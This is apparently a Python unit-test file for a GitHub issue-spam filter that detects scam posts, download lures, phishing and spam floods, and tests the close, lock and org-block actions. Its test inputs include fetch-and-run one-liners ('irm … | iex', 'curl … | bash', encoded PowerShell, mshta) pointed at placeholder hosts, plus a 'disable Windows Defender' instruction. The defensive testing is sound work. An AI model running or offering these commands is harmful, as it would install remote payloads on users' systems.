"""Unit tests for scripts/filter_issue_spam.py.""" from __future__ import annotations import os import sys import unittest from datetime import datetime, timedelta, timezone from typing import Any sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) import filter_issue_spam as fis def _make_issue( *, number: int = 100, title: str = "Test issue", body: str = "", author: str = "newuser123", author_association: str = "NONE", created_at: str = "2026-11-29T13:00:00Z", state: str = "open", locked: bool = False, pull_request: dict[str, Any] | None = None, ) -> dict[str, Any]: issue: dict[str, Any] = { "number": number, "title": title, "body": body, "user": {"login": author}, "author_association": author_association, "created_at": created_at, "state": state, "locked": locked, } if pull_request is not None: issue["pull_request"] = pull_request return issue class FakeGitHubClient(fis.GitHubClient): def __init__( self, issue: dict[str, Any], recent: list[dict[str, Any]] | None = None, ) -> None: super().__init__(token="fake-token") self._issue = issue self._recent = recent or [] self.calls: list[tuple[str, Any]] = [] def get_issue(self, repo: str, number: int) -> dict[str, Any]: self.calls.append(("get_issue", (repo, number))) return self._issue def list_recent_issues( self, repo: str, since: datetime, per_page: int = 50, max_pages: int = 1, ) -> list[dict[str, Any]]: self.calls.append(("list_recent_issues", (repo, per_page, max_pages))) return self._recent def neutralize_and_close_issue( self, repo: str, number: int, *, clear_title: bool = False ) -> None: self.calls.append(("neutralize_and_close", (repo, number, clear_title))) def lock_issue_as_spam(self, repo: str, number: int) -> None: self.calls.append(("lock", (repo, number))) def add_spam_label(self, repo: str, number: int) -> None: self.calls.append(("label", (repo, number))) def block_org_user(self, org: str, username: str) -> bool: self.calls.append(("block_org_user", (org, username))) return True class TestAnalyzeIssue(unittest.TestCase): def test_bait_tag_and_download_title_detected(self) -> None: issue = _make_issue( title="🎮 [GUIDE] Sample App PC — Download & Guide", body="Follow this guide to install.", ) verdict = fis.analyze_issue(issue) self.assertTrue(verdict.is_spam) self.assertGreaterEqual(verdict.score, fis.SPAM_THRESHOLD) def test_explicit_scam_titles_detected(self) -> None: for title in ( "Free Download Full Version 2026", "HWID Spoofer Updated", "Wallet Drainer Script", "Repack Download Latest Build", "Keygen and Activator", ): with self.subTest(title=title): verdict = fis.analyze_issue(_make_issue(title=title)) self.assertTrue(verdict.is_spam) def test_malicious_oneliners_detected(self) -> None: bodies = [ "Run: irm https://example.invalid/setup.ps1 | iex", "powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQApAA==", "curl -sL https://example.invalid/install.sh | bash", "mshta https://example.invalid/payload.hta", ] for body in bodies: with self.subTest(body=body): verdict = fis.analyze_issue(_make_issue(title="Quick fix", body=body)) self.assertTrue(verdict.is_spam) self.assertIn("malicious_download_oneliner", verdict.reasons) def test_archive_password_and_av_disable_detected(self) -> None: issue = _make_issue( title="Installer package", body=( "1. Disable Windows Defender before extracting.\n" "2. Extract with zip password: 2026\n" "3. Run setup.exe" ), ) verdict = fis.analyze_issue(issue) self.assertTrue(verdict.is_spam) self.assertIn("archive_password_and_av_disable", verdict.reasons) def test_suspicious_host_and_download_cta_detected(self) -> None: issue = _make_issue( title="New installer package available", body=( "Download now from our mirror link: https://bit.ly/fake123\n" "100% working, verified safe! 🔥🚀✅" ), ) verdict = fis.analyze_issue(issue) self.assertTrue(verdict.is_spam) self.assertIn("suspicious_link_host", verdict.reasons) def test_stub_title_with_external_link_detected(self) -> None: issue = _make_issue( title="-", body="https://mediafire.com/file/abc123/setup.zip", ) verdict = fis.analyze_issue(issue) self.assertTrue(verdict.is_spam) self.assertIn("stub_title_with_external_link", verdict.reasons) def test_phishing_crypto_scam_detected(self) -> None: issue = _make_issue( title="Need help", body="Contact our crypto recovery helpline number on WhatsApp +1234567890 https://t.me/scam", ) verdict = fis.analyze_issue(issue) self.assertTrue(verdict.is_spam) self.assertIn("phishing_or_seo_scam", verdict.reasons) def test_duplicate_title_flood_across_accounts_detected(self) -> None: now = datetime(2026, 11, 29, 14, 0, tzinfo=timezone.utc) issue = _make_issue( number=3402, title="Generic Repeated Spam Title", body="Click here", author="bot_account_3", created_at=now.isoformat().replace("+00:00", "Z"), ) recent = [ _make_issue( number=3399, title="Generic Repeated Spam Title", author="bot_account_1", created_at=(now - timedelta(minutes=20)).isoformat().replace("+00:00", "Z"), ), _make_issue( number=3400, title="🔥 Generic Repeated Spam Title!", author="bot_account_2", created_at=(now - timedelta(minutes=10)).isoformat().replace("+00:00", "Z"), ), ] verdict = fis.analyze_issue(issue, recent, now=now) self.assertTrue(verdict.is_spam) self.assertTrue(any(r.startswith("duplicate_title_flood") for r in verdict.reasons)) def test_author_rapid_burst_detected(self) -> None: now = datetime(2026, 11, 29, 14, 0, tzinfo=timezone.utc) issue = _make_issue( number=400, title="Fourth random post", body="hello", author="spammer_bot", created_at=now.isoformat().replace("+00:00", "Z"), ) recent = [ _make_issue( number=397 + i, title=f"Random post {i}", author="spammer_bot", created_at=(now - timedelta(minutes=5 * (i + 1))).isoformat().replace("+00:00", "Z"), ) for i in range(3) ] verdict = fis.analyze_issue(issue, recent, now=now) self.assertTrue(verdict.is_spam) self.assertTrue(any(r.startswith("author_rapid_burst") for r in verdict.reasons)) def test_trusted_authors_never_flagged(self) -> None: for assoc in ("OWNER", "MEMBER", "COLLABORATOR", "CONTRIBUTOR"): with self.subTest(assoc=assoc): issue = _make_issue( title="[GUIDE] Free Download", body="irm https://example.invalid | iex", author_association=assoc, ) verdict = fis.analyze_issue(issue) self.assertFalse(verdict.is_spam) self.assertEqual(verdict.reasons, ("trusted_author",)) def test_pull_requests_skipped(self) -> None: issue = _make_issue( title="[GUIDE] Free Download", pull_request={"url": "https://api.github.com/repos/xcl-dev/xcl/pulls/1"}, ) verdict = fis.analyze_issue(issue) self.assertFalse(verdict.is_spam) self.assertEqual(verdict.reasons, ("is_pull_request",)) def test_legitimate_bug_report_not_flagged(self) -> None: issue = _make_issue( title="Black screen after intro video on RTX 4060", body=( "### Game and package version\n" "Sample Title 1.0.0.0\n\n" "### What happens\n" "Black screen after logo. Attached report.json and xcl.log.\n\n" "### XCL version\n" "abc1234\n\n" "### GPU and driver version\n" "NVIDIA GeForce RTX 4060, 32.0.16.2124\n\n" "### report.json and xcl.log\n" "https://github.com/user-attachments/files/12345/report.json\n" "https://github.com/user-attachments/files/12346/xcl.log\n" ), ) verdict = fis.analyze_issue(issue) self.assertFalse(verdict.is_spam) def test_legitimate_blank_question_not_flagged(self) -> None: issue = _make_issue( title="Where does xcl store compiled PSO caches?", body=( "I downloaded the latest build from https://github.com/xcl-dev/xcl/releases " "and want to know how to clear the shader cache." ), ) verdict = fis.analyze_issue(issue) self.assertFalse(verdict.is_spam) class TestProcessIssue(unittest.TestCase): def test_spam_issue_neutralized_closed_locked_and_labeled(self) -> None: issue = _make_issue( number=3402, title="🎮 [GUIDE] Sample PC — Download & Guide", body="https://bit.ly/malware", ) client = FakeGitHubClient(issue) verdict = fis.process_issue(client, "xcl-dev/xcl", 3402) self.assertTrue(verdict.is_spam) self.assertIn(("neutralize_and_close", ("xcl-dev/xcl", 3402, False)), client.calls) self.assertIn(("lock", ("xcl-dev/xcl", 3402)), client.calls) self.assertIn(("label", ("xcl-dev/xcl", 3402)), client.calls) def test_spam_title_with_url_is_cleared(self) -> None: issue = _make_issue( number=3405, title="Free Download https://bit.ly/bad", body="Click link", ) client = FakeGitHubClient(issue) verdict = fis.process_issue(client, "xcl-dev/xcl", 3405) self.assertTrue(verdict.is_spam) self.assertIn(("neutralize_and_close", ("xcl-dev/xcl", 3405, True)), client.calls) def test_dry_run_makes_no_mutations(self) -> None: issue = _make_issue( number=3406, title="[GUIDE] Sample PC — Download & Guide", body="https://bit.ly/bad", ) client = FakeGitHubClient(issue) verdict = fis.process_issue(client, "xcl-dev/xcl", 3406, dry_run=True) self.assertTrue(verdict.is_spam) mutating = [c for c in client.calls if c[0] in ("neutralize_and_close", "lock", "label")] self.assertEqual(mutating, []) def test_already_neutralized_issue_is_skipped(self) -> None: issue = _make_issue( number=3407, title="[GUIDE] Sample PC — Download & Guide", body=fis.NEUTRALIZED_BODY, state="closed", locked=True, ) client = FakeGitHubClient(issue) verdict = fis.process_issue(client, "xcl-dev/xcl", 3407) self.assertFalse(verdict.is_spam) self.assertEqual(verdict.reasons, ("already_neutralized",)) def test_high_confidence_spam_triggers_org_block(self) -> None: issue = _make_issue( number=3410, title="🎮 [GUIDE] Sample PC — Download & Guide", body="https://bit.ly/malware", author="spam_bot_99", ) client = FakeGitHubClient(issue) verdict = fis.process_issue(client, "xcl-dev/xcl", 3410, org_block_client=client) self.assertTrue(verdict.is_spam) self.assertIn(("block_org_user", ("xcl-dev", "spam_bot_99")), client.calls) def test_borderline_additive_spam_does_not_org_block(self) -> None: issue = _make_issue( number=3411, title="Some package", body="Download now from https://bit.ly/foo 🔥🚀✅", author="maybe_user", ) verdict = fis.analyze_issue(issue) self.assertTrue(verdict.is_spam) self.assertFalse(verdict.hard_trigger) self.assertLess(verdict.score, fis.ORG_BLOCK_SCORE_THRESHOLD) self.assertFalse(fis.should_org_block(issue, verdict)) def test_bot_account_never_org_blocked(self) -> None: issue = _make_issue( number=3412, title="[GUIDE] Free Download", author="some-helper[bot]", ) verdict = fis.analyze_issue(issue) self.assertFalse(fis.should_org_block(issue, verdict)) def test_backfill_blocks_unique_spammers_and_skips_legit(self) -> None: recent = [ _make_issue( number=3401, title="🎮 [GUIDE] Sample PC — Download & Guide", body="removed (malware)", author="spammer_a", state="closed", ), _make_issue( number=3402, title="🎮 [GUIDE] Sample PC — Download & Guide", body=fis.NEUTRALIZED_BODY, author="spammer_a", state="closed", locked=True, ), _make_issue( number=3403, title="🎮 [GUIDE] Sample PC — Download & Guide", body="https://bit.ly/malware", author="spammer_b", state="open", ), _make_issue( number=3404, title="Shader crash on startup", body="### What happens\nCrashes with D3D12 error. Attached report.json.", author="real_user", state="open", ), ] client = FakeGitHubClient(recent[0], recent=recent) blocked = fis.backfill_recent_spam( client, "xcl-dev/xcl", 24, org_block_client=client ) self.assertEqual(blocked, ["spammer_a", "spammer_b"]) self.assertIn(("block_org_user", ("xcl-dev", "spammer_a")), client.calls) self.assertIn(("block_org_user", ("xcl-dev", "spammer_b")), client.calls) self.assertNotIn(("block_org_user", ("xcl-dev", "real_user")), client.calls) # Already neutralized #3402 should not be re-neutralized, while #3403 should be. neutralized_nums = [ c[1][1] for c in client.calls if c[0] == "neutralize_and_close" ] self.assertIn(3403, neutralized_nums) self.assertNotIn(3402, neutralized_nums) if __name__ == "__main__": unittest.main()